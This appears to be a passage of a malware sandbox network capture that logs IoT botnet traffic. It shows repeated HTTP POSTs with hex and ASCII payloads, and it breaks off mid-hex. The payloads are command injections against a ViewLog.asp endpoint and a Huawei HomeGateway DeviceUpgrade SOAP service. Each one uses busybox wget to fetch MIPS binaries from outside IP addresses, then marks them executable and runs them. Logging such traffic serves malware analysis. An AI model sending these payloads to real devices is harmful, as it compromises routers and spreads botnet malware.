                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:55.004297018 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:56.376188993 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:59.256113052 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:04.887964964 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:15.895693064 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                781192.168.2.154769495.209.159.1078080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.808936119 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:54.528036118 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                782192.168.2.154460495.86.123.2248080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.809011936 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:54.531585932 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                783192.168.2.155921094.187.102.1158080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.034899950 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                784192.168.2.153519695.142.120.918080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.150286913 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                785192.168.2.153313685.214.70.2428080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.241545916 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:54.454953909 CET261INHTTP/1.1 404 Not Found
                                                Content-Type: text/plain; charset=utf-8
                                                X-Content-Type-Options: nosniff
                                                Date: Thu, 23 Nov 2023 04:22:54 GMT
                                                Content-Length: 19
                                                Connection: close
                                                Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a
                                                Data Ascii: 404 page not found


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                786192.168.2.1546588156.224.15.7037215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.551085949 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:58.744251966 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:04.887981892 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                787192.168.2.1545936156.254.91.23237215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.553591013 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:58.744251013 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 